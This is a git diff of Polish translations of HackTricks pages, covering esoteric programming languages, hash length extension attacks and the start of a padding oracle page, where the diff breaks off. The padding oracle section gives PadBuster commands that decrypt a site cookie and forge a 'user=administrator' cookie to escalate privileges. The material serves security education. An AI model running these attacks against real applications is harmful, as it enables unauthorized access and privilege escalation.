<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Języki ezoteryczne
|
||||
# Esoteric languages
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## [Wiki Esolangs](https://esolangs.org/wiki/Main\_Page)
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
Sprawdź tę wiki, aby znaleźć więcej języków ezoterycznych
|
||||
Sprawdź tę wiki, aby wyszukać więcej ezoterycznych języków
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
|
@ -61,8 +64,6 @@ Whisper my world
|
|||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH to esoteryczny język programowania inspirowany rosyjskim słowem "petuh", który oznacza "gawędziarza". W PETOOH programy są zapisywane za pomocą jednego z czterech poleceń: "ko", "petya", "kuku" i "chirik".
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
|
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
|||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? A może chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# Atak na długość skrótu
|
||||
# Atak rozszerzenia długości hasha
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -30,59 +31,60 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo
|
|||
|
||||
## Podsumowanie ataku
|
||||
|
||||
Wyobraź sobie serwer, który **podpisuje** pewne **dane**, **dodając** do nich **tajny klucz** do pewnych znanych danych tekstowych i następnie haszując te dane. Jeśli znasz:
|
||||
Wyobraź sobie serwer, który **podpisuje** jakieś **dane**, **dodając** **sekret** do znanych danych w postaci tekstu jawnego, a następnie haszując te dane. Jeśli znasz:
|
||||
|
||||
* **Długość tajnego klucza** (można to również przeprowadzić metodą brutalnej siły w określonym zakresie długości)
|
||||
* **Dane tekstowe**
|
||||
* **Algorytm (podatny na ten atak)**
|
||||
* **Długość sekretu** (można to również wypróbować z danego zakresu długości)
|
||||
* **Dane w postaci tekstu jawnego**
|
||||
* **Algorytm (i jest podatny na ten atak)**
|
||||
* **Padding jest znany**
|
||||
* Zazwyczaj używany jest domyślny, więc jeśli spełnione są pozostałe 3 wymagania, to również jest znany
|
||||
* Padding różni się w zależności od długości tajnego klucza+danych, dlatego potrzebna jest długość tajnego klucza
|
||||
* Zwykle używany jest domyślny, więc jeśli pozostałe 3 wymagania są spełnione, to również jest
|
||||
* Padding różni się w zależności od długości sekretu + danych, dlatego długość sekretu jest potrzebna
|
||||
|
||||
W takim przypadku **atakujący** może **dodać** **dane** i **wygenerować** poprawny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
Wtedy możliwe jest, aby **atakujący** **dodał** **dane** i **wygenerował** ważny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
|
||||
### Jak?
|
||||
|
||||
W podatnych algorytmach haszowanie odbywa się poprzez **najpierw haszowanie bloku danych**, a następnie, **z** **wcześniej** utworzonego **skrótu** (stanu), **dodają następny blok danych** i **haszują go**.
|
||||
Zasadniczo podatne algorytmy generują hashe, najpierw **haszując blok danych**, a następnie, **z** **wcześniej** utworzonego **hasha** (stanu), **dodają następny blok danych** i **haszują go**.
|
||||
|
||||
Wyobraź sobie, że tajny klucz to "tajne" a dane to "dane", MD5 z "tajnedane" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dodać ciąg "dodaj" może:
|
||||
Wyobraź sobie, że sekret to "secret", a dane to "data", MD5 "secretdata" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dodać ciąg "append", może:
|
||||
|
||||
* Wygenerować MD5 z 64 "A"
|
||||
* Zmienić stan wcześniej zainicjowanego skrótu na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodać ciąg "dodaj"
|
||||
* Zakończyć haszowanie, a wynikowy skrót będzie **poprawny dla "tajne" + "dane" + "padding" + "dodaj"**
|
||||
* Zmienić stan wcześniej zainicjowanego hasha na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodać ciąg "append"
|
||||
* Zakończyć haszowanie, a wynikowy hash będzie **ważny dla "secret" + "data" + "padding" + "append"**
|
||||
|
||||
### **Narzędzie**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
### Referencje
|
||||
### Odniesienia
|
||||
|
||||
Możesz znaleźć ten atak dobrze wyjaśniony na stronie [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
Możesz znaleźć ten atak dobrze wyjaśniony w [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,82 +1,83 @@
|
|||
# Oracle z dopełnieniem
|
||||
# Padding Oracle
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CBC - Szyfrowanie blokowe z łańcuchem
|
||||
## CBC - Cipher Block Chaining
|
||||
|
||||
W trybie CBC **poprzedni zaszyfrowany blok jest używany jako IV** do operacji XOR z następnym blokiem:
|
||||
W trybie CBC **poprzedni zaszyfrowany blok jest używany jako IV** do XOR z następnym blokiem:
|
||||
|
||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
Aby odszyfrować CBC, wykonuje się **odwrotne operacje**:
|
||||
Aby odszyfrować CBC, wykonuje się **przeciwne** **operacje**:
|
||||
|
||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
Zauważ, że potrzebne są **klucz szyfrowania** i **IV**.
|
||||
Zauważ, że potrzebne jest użycie **klucza szyfrowania** i **IV**.
|
||||
|
||||
## Dopełnienie wiadomości
|
||||
## Message Padding
|
||||
|
||||
Ponieważ szyfrowanie jest wykonywane w **blokach o stałym rozmiarze**, zazwyczaj konieczne jest **dopełnienie** w **ostatnim bloku**, aby uzupełnić jego długość.\
|
||||
Zazwyczaj używany jest **PKCS7**, który generuje dopełnienie **powtarzając** **ilość** **bajtów** **potrzebną** do **uzupełnienia** bloku. Na przykład, jeśli w ostatnim bloku brakuje 3 bajtów, dopełnienie będzie `\x03\x03\x03`.
|
||||
Ponieważ szyfrowanie jest wykonywane w **stałych** **rozmiarach** **bloków**, zwykle potrzebne jest **padding** w **ostatnim** **bloku**, aby uzupełnić jego długość.\
|
||||
Zwykle używa się **PKCS7**, który generuje padding **powtarzając** **liczbę** **bajtów** **potrzebnych** do **uzupełnienia** bloku. Na przykład, jeśli ostatni blok brakuje 3 bajtów, padding będzie `\x03\x03\x03`.
|
||||
|
||||
Przyjrzyjmy się więcej przykładom z **2 blokami o długości 8 bajtów**:
|
||||
|
||||
| bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 | bajt #0 | bajt #1 | bajt #2 | bajt #3 | bajt #4 | bajt #5 | bajt #6 | bajt #7 |
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
|
||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
Zauważ, jak w ostatnim przykładzie **ostatni blok był pełny, więc wygenerowano kolejny tylko z dopełnieniem**.
|
||||
Zauważ, że w ostatnim przykładzie **ostatni blok był pełny, więc wygenerowano kolejny tylko z paddingiem**.
|
||||
|
||||
## Oracle z dopełnieniem
|
||||
## Padding Oracle
|
||||
|
||||
Gdy aplikacja deszyfruje zaszyfrowane dane, najpierw odszyfrowuje dane; następnie usuwa dopełnienie. Podczas usuwania dopełnienia, jeśli **nieprawidłowe dopełnienie wywołuje wykrywalne zachowanie**, mamy **lukę w oracle z dopełnieniem**. Wykrywalne zachowanie może być **błędem**, **brakiem wyników** lub **wolniejszą odpowiedzią**.
|
||||
Gdy aplikacja odszyfrowuje zaszyfrowane dane, najpierw odszyfrowuje dane; następnie usuwa padding. Podczas czyszczenia paddingu, jeśli **nieprawidłowy padding wywołuje wykrywalne zachowanie**, masz **wrażliwość na padding oracle**. Wykrywalne zachowanie może być **błędem**, **brakiem wyników** lub **wolniejszą odpowiedzią**.
|
||||
|
||||
Jeśli wykryjesz to zachowanie, możesz **odszyfrować zaszyfrowane dane** i nawet **zaszyfrować dowolny tekst jawnie**.
|
||||
Jeśli wykryjesz to zachowanie, możesz **odszyfrować zaszyfrowane dane** i nawet **zaszyfrować dowolny tekst jawny**.
|
||||
|
||||
### Jak wykorzystać
|
||||
|
||||
Możesz użyć [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster), aby wykorzystać ten rodzaj podatności lub po prostu zrobić
|
||||
Możesz użyć [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster), aby wykorzystać ten rodzaj wrażliwości lub po prostu zrobić
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
Aby sprawdzić, czy ciasteczko witryny jest podatne, możesz spróbować:
|
||||
Aby sprawdzić, czy ciastko witryny jest podatne, możesz spróbować:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Kodowanie 0** oznacza, że używane jest **base64** (ale inne są dostępne, sprawdź menu pomocy).
|
||||
**Kodowanie 0** oznacza, że **base64** jest używane (ale dostępne są inne, sprawdź menu pomocy).
|
||||
|
||||
Możesz również **wykorzystać tę podatność do szyfrowania nowych danych. Na przykład, wyobraź sobie, że zawartość ciasteczka to "**_**user=MyUsername**_**", wtedy możesz zmienić ją na "\_user=administrator\_" i eskalować uprawnienia wewnątrz aplikacji. Możesz to również zrobić, używając `paduster` i określając parametr -plaintext:**
|
||||
Możesz również **wykorzystać tę lukę do szyfrowania nowych danych. Na przykład, wyobraź sobie, że zawartość ciasteczka to "**_**user=MyUsername**_**", wtedy możesz zmienić to na "\_user=administrator\_" i podnieść uprawnienia w aplikacji. Możesz to również zrobić używając `paduster`, określając parametr -plaintext**:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
Jeśli witryna jest podatna, `padbuster` automatycznie spróbuje znaleźć moment wystąpienia błędu w dopełnieniu, ale możesz także wskazać komunikat o błędzie, używając parametru **-error**.
|
||||
Jeśli strona jest podatna, `padbuster` automatycznie spróbuje znaleźć, kiedy występuje błąd paddingu, ale możesz również wskazać komunikat o błędzie, używając parametru **-error**.
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
### Teoria
|
||||
|
||||
W **skrócie**, możesz zacząć deszyfrować zaszyfrowane dane przez zgadywanie poprawnych wartości, które mogą być użyte do stworzenia wszystkich **różnych dopełnień**. Następnie atak padding oracle zacznie deszyfrować bajty od końca do początku, zgadując, jaka będzie poprawna wartość, która **tworzy dopełnienie 1, 2, 3, itd**.
|
||||
W **podsumowaniu**, możesz zacząć odszyfrowywać zaszyfrowane dane, zgadując poprawne wartości, które mogą być użyte do stworzenia wszystkich **różnych paddingów**. Następnie atak padding oracle zacznie odszyfrowywać bajty od końca do początku, zgadując, która wartość **tworzy padding 1, 2, 3, itd**.
|
||||
|
||||
![](<../.gitbook/assets/image (561).png>)
|
||||
|
||||
Wyobraź sobie, że masz zaszyfrowany tekst zajmujący **2 bloki** utworzone przez bajty od **E0 do E15**.\
|
||||
Aby **odszyfrować** **ostatni** **blok** (**E8** do **E15**), cały blok przechodzi przez "deszyfrowanie bloku szyfrującego" generując **bajty pośrednie I0 do I15**.\
|
||||
W końcu, każdy bajt pośredni jest **XORowany** z poprzednimi zaszyfrowanymi bajtami (E0 do E7). Więc:
|
||||
Wyobraź sobie, że masz zaszyfrowany tekst, który zajmuje **2 bloki** utworzone przez bajty od **E0 do E15**.\
|
||||
Aby **odszyfrować** **ostatni** **blok** (**E8** do **E15**), cały blok przechodzi przez "deszyfrację bloku", generując **bajty pośrednie I0 do I15**.\
|
||||
Na koniec każdy bajt pośredni jest **XORowany** z poprzednimi zaszyfrowanymi bajtami (E0 do E7). Tak więc:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -84,41 +85,42 @@ W końcu, każdy bajt pośredni jest **XORowany** z poprzednimi zaszyfrowanymi b
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Teraz jest możliwe **zmodyfikowanie `E7` aż do momentu, gdy `C15` będzie `0x01`**, co również będzie poprawnym dopełnieniem. Więc, w tym przypadku: `\x01 = I15 ^ E'7`
|
||||
Teraz możliwe jest **zmodyfikowanie `E7`, aż `C15` będzie `0x01`**, co również będzie poprawnym paddingiem. Tak więc, w tym przypadku: `\x01 = I15 ^ E'7`
|
||||
|
||||
